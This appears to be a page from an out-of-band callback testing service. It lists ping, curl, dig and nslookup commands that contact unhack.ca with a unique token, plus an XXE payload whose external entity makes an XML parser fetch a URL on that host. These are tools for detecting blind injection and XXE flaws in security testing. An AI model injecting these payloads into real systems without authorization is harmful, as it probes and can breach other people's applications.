$ ping -c1 -p 001696c53fa18f5c6ee647de44f84b00 unhack.ca
 
$ curl http://unhack.ca/p/1696c53fa18f5c6ee647de44f84b
 
$ dig 1696c53fa18f5c6ee647de44f84b @unhack.ca
 
$ dig 1696c53fa18f5c6ee647de44f84b.ns.unhack.ca
 
C:\> nslookup 1696c53fa18f5c6ee647de44f84b unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1696c53fa18f5c6ee647de44f84b">]>
    <foo>&xxe;</foo>
Waiting for ping...